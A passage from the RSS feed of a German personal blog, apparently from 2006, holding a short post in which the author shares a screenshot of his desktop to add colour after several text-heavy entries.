<td>So. Mir ist aufgefallen, dass meine letzten Beiträge wieder mal viel Text und wenig Farbe enthielten. Also wollte ich das ganze mal mit einem aktuellen Screenshot von meinem Desktop aufheitern. Vielleicht interessiert es ja irgendwen <img src='http://christian.samsel.name/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </td>
<td><a href="/files/screenshot1.png" rel="lightbox" title="Screenshot"><img src="/files/screenshot1_klein.png" alt="Screenshot" style="margin: 10px" /></a></td>
</tr>
</table>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2006/05/aktueller-desktop/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
